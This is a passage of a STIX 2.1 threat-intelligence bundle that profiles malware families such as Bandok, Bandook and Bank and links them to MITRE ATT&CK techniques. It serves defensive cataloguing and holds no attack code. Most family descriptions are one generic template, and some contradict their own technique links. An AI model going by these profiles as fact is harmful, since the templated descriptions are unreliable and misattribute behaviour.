      "source_ref": "malware--69ef4f51-e4f6-5132-9ce0-a6dc9e62682d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bandit exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ba20368-3a05-53e4-a39a-7b1d5bea4378",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--69ef4f51-e4f6-5132-9ce0-a6dc9e62682d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bandit exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f2dc611-36ec-593e-a49c-f7245d586bfa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--69ef4f51-e4f6-5132-9ce0-a6dc9e62682d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bandit exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--372b97e3-45fc-5c67-b711-ee9daefe9b7f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bandok",
      "description": "Bandok (classified in antivirus detection telemetry under designations including Trojan:Win32/Bandok, Trojan.Win32.Bandok, and Win32/Bandok) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bandok executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Bandok",
        "Trojan.Win32.Bandok",
        "Win32/Bandok"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bandok",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bandok"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28e7c9ee-8223-54aa-9b59-529a185aa00d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--372b97e3-45fc-5c67-b711-ee9daefe9b7f",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bandok exhibits technique T1059 (Command and Scripting Interpreter (Providing the attacker with interactive shell access))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8937c0fc-28b4-5e85-8fbd-5075afb94239",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--372b97e3-45fc-5c67-b711-ee9daefe9b7f",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bandok exhibits technique T1056.001 (Input Capture: Keylogging (Stealing real-time user input))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--418b8676-e6f5-59de-8b48-f83299b43196",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1021.001: Remote Services: Remote Desktop Protocol (Utilizing built-in or custom VNC for graphical access)",
      "description": "MITRE ATT&CK Technique T1021.001 (Remote Services: Remote Desktop Protocol (Utilizing built-in or custom VNC for graphical access)) under tactic Lateral Movement.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1021.001",
          "url": "https://attack.mitre.org/techniques/T1021/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce4dd7ca-a35e-54b4-8e7b-fa1349e11cb0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--372b97e3-45fc-5c67-b711-ee9daefe9b7f",
      "target_ref": "attack-pattern--418b8676-e6f5-59de-8b48-f83299b43196",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bandok exhibits technique T1021.001 (Remote Services: Remote Desktop Protocol (Utilizing built-in or custom VNC for graphical access))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40711223-b76e-549a-89aa-39827530fc07",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--372b97e3-45fc-5c67-b711-ee9daefe9b7f",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bandok exhibits technique T1041 (Exfiltration Over C2 Channel (Stealing files directly through the RAT connection))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--33094eb3-45c7-5847-929f-ebd32e8dfc1a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bandoo",
      "description": "Bandoo (classified in antivirus detection telemetry under designations including Trojan:Win32/Bandoo, Trojan.Win32.Bandoo, and Win32/Bandoo) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bandoo executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Bandoo",
        "Trojan.Win32.Bandoo",
        "Win32/Bandoo"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bandoo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bandoo"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e20e5925-acb6-5a5f-aff6-a19ead914ab2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--33094eb3-45c7-5847-929f-ebd32e8dfc1a",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bandoo exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ece8830c-1d18-5d62-9efd-c1e11a3315bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--33094eb3-45c7-5847-929f-ebd32e8dfc1a",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bandoo exhibits technique T1176 (Browser Extensions (Toolbar Installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a95ddcf3-33b9-5981-b2bf-236c05ff9dbf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--33094eb3-45c7-5847-929f-ebd32e8dfc1a",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bandoo exhibits technique T1112 (Modify Registry (Search Hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5b368498-4289-5e29-9c75-8f8bd879a658",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--33094eb3-45c7-5847-929f-ebd32e8dfc1a",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bandoo exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dec6405d-3986-5b1f-9b50-420072fd02c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--33094eb3-45c7-5847-929f-ebd32e8dfc1a",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bandoo exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2a59d78b-5982-5c50-98c2-2a71590c2188",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bandook",
      "description": "Bandook (derived from the Arabic and Hindi word for 'gun' or 'rifle') is an enduring, modular Remote Access Trojan first created in 2005 by Lebanese software author 'PrinceAli' (Prince Ali). Originally distributed across underground cybercrime forums as a commercial administration tool, Bandook underwent major modular modernizations that transformed it from commodity malware into a customized espionage weapon deployed by state-aligned actors and mercenary hacker-for-hire groups.\n\nIn 2018, extensive joint research by the Electronic Frontier Foundation (EFF) and Lookout revealed Bandook's pivotal role in 'Operation Dark Caracal'\u2014a massive global surveillance campaign attributed to the Lebanese General Directorate of General Security (GDGS) targeting military officials, government personnel, activists, and journalists across 21 countries. Bandook resurfaced subsequently in targeted financial and legal sector attacks, utilizing digitally signed binaries with stolen certificates, image steganography (JPEG images hiding encrypted payloads), and process hollowing into explorer.exe to evade modern endpoint defenses.",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Bandook",
        "Bandook RAT",
        "Trojan.Bandook",
        "Backdoor.Bandook",
        "Win32/Bandook"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bandook",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bandook"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2e8f214-6932-5c63-9f13-8ccad4046e44",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a59d78b-5982-5c50-98c2-2a71590c2188",
      "target_ref": "attack-pattern--dfcfa682-f757-5727-b61f-982c98fe4440",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bandook exhibits technique T1056 (Input Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af4d85be-2382-5ae3-98a1-f60d162acd74",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a59d78b-5982-5c50-98c2-2a71590c2188",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bandook exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c1b5162-1f28-5f43-a4c5-d8fdc31a10c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a59d78b-5982-5c50-98c2-2a71590c2188",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bandook exhibits technique T1125 (Video Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7021cad6-c80b-59f3-90b3-ea914dcd91c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a59d78b-5982-5c50-98c2-2a71590c2188",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bandook exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e87bd0cd-3017-5e02-9f4a-0b5c982ee2e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a59d78b-5982-5c50-98c2-2a71590c2188",
      "target_ref": "attack-pattern--fddb1dde-b707-58d9-9234-0e950f6512cb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bandook exhibits technique T1547 (Boot or Logon Autostart Execution (Winlogon/BHO))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4e34f5d7-5d1a-58dd-a685-d8af94097cd5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bang5Mai",
      "description": "Bang5mai (identified across endpoint security databases and threat intelligence feeds under signatures including Trojan:Win32/Bang5mai, Backdoor:Win32/Bang5mai, and Trojan.Bang5mai) is a covert Windows backdoor and targeted initial access implant active since 2017. Typically deployed in spear-phishing campaigns delivering weaponized Office documents or embedded in trojanized developer toolkits, Bang5mai establishes persistent access through scheduled tasks and registry autostart keys. Upon installation, the malware collects detailed host metadata\u2014including system architecture, domain memberships, user privileges, and running security processes\u2014and communicates with external C2 servers over HTTPS. Bang5mai features a modular payload execution engine that allows remote operators to execute arbitrary command-line strings, manipulate host files and directories, inject secondary DLL payloads into legitimate Windows processes (such as svchost.exe), and stage lateral movement tools across corporate Active Directory environments. (Observed samples in benchmark: 36)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Bang5mai",
        "Backdoor:Win32/Bang5mai",
        "Trojan.Bang5mai",
        "Win32/Bang5mai",
        "Trojan:Win32/Bang5mai.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bang5Mai",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bang5mai"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--56496bbf-bd7b-5a61-b3c4-61da4c30a804",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bank",
      "description": "Bank (classified in antivirus detection telemetry under designations including Ransom:Win32/Bank, Ransom.Win32.Bank, and Win32/Bank) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bank executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Bank",
        "Ransom.Win32.Bank",
        "Win32/Bank"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bank",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bank"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--510c8478-024c-53be-b9d9-53f9b7c3bc2c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1111: Two-Factor Authentication Interception (Using Man-in-the-Browser web injects to steal OTPs)",
      "description": "MITRE ATT&CK Technique T1111 (Two-Factor Authentication Interception (Using Man-in-the-Browser web injects to steal OTPs)) under tactic Credential Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1111",
          "url": "https://attack.mitre.org/techniques/T1111/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--119ad986-8fb9-59ca-8fa7-72216dd5858e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--56496bbf-bd7b-5a61-b3c4-61da4c30a804",
      "target_ref": "attack-pattern--510c8478-024c-53be-b9d9-53f9b7c3bc2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bank exhibits technique T1111 (Two-Factor Authentication Interception (Using Man-in-the-Browser web injects to steal OTPs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7120629-af32-5719-ab4b-e18a14f72c78",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--56496bbf-bd7b-5a61-b3c4-61da4c30a804",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bank exhibits technique T1056.001 (Input Capture: Keylogging (Capturing credentials during login))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ae44243-8497-56bc-8f2f-e26c959b48ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--56496bbf-bd7b-5a61-b3c4-61da4c30a804",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bank exhibits technique T1055 (Process Injection (Injecting into web browsers to monitor traffic))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--983f6a53-596d-545c-a694-8cec94da0010",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--56496bbf-bd7b-5a61-b3c4-61da4c30a804",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bank exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Primary delivery mechanism))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3de8f7e2-ca7b-5e0a-af7f-b9d5c9122215",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bankfraud",
      "description": "Bankfraud (classified in antivirus detection telemetry under designations including Trojan:Win32/Bankfraud, Trojan.Win32.Bankfraud, and Win32/Bankfraud) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bankfraud executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Bankfraud",
        "Phish.Bankfraud",
        "Fraud.Win32",
        "Trojan:Win32/Bankfraud",
        "Trojan.Win32.Bankfraud",
        "Win32/Bankfraud"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bankfraud",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bankfraud"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--abb74e00-a00f-5c39-9600-89da2ce710a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3de8f7e2-ca7b-5e0a-af7f-b9d5c9122215",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bankfraud exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e4f47ee4-c0f3-503c-9563-a9def4a87e4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3de8f7e2-ca7b-5e0a-af7f-b9d5c9122215",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bankfraud exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a01339e2-2536-595b-bed2-6ef327bedc3d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3de8f7e2-ca7b-5e0a-af7f-b9d5c9122215",
      "target_ref": "attack-pattern--a756c800-cad0-5d72-8bcc-aef0617822bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bankfraud exhibits technique T1056.002 (Input Capture: GUI Input Capture (Monitoring active window titles for targeted banks))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f3d000fa-2c54-50b6-a7bf-6cb6439afcfe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bankoren",
      "description": "Bankoren (classified in antivirus detection telemetry under designations including Trojan:Win32/Bankoren, Trojan.Win32.Bankoren, and Win32/Bankoren) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bankoren executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Bankoren",
        "Banker.Bankoren",
        "Win32/Bankoren",
        "Trojan:Win32/Bankoren",
        "Trojan.Win32.Bankoren"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bankoren",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bankoren"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5fcf00a4-da3d-5377-9e6d-38a28e6bd96c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f3d000fa-2c54-50b6-a7bf-6cb6439afcfe",
      "target_ref": "attack-pattern--3de29a73-c5ce-5b4c-82e7-4707471dcabe",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bankoren exhibits technique T1056.004 (Input Capture: Credential API Hooking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6849857f-e975-5f38-af66-2d28ea7db975",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f3d000fa-2c54-50b6-a7bf-6cb6439afcfe",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bankoren exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a3dce3e9-8eb5-55d5-a90a-fc178dee2c4d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f3d000fa-2c54-50b6-a7bf-6cb6439afcfe",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bankoren exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--64588f82-35ca-5340-a109-43450369a40f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Banks",
      "description": "Banks (classified in antivirus detection telemetry under designations including Trojan:Win32/Banks, Trojan.Win32.Banks, and Win32/Banks) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Banks executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Banks",
        "Trojan.Win32.Banks",
        "Win32/Banks"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Banks",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/banks"
        }
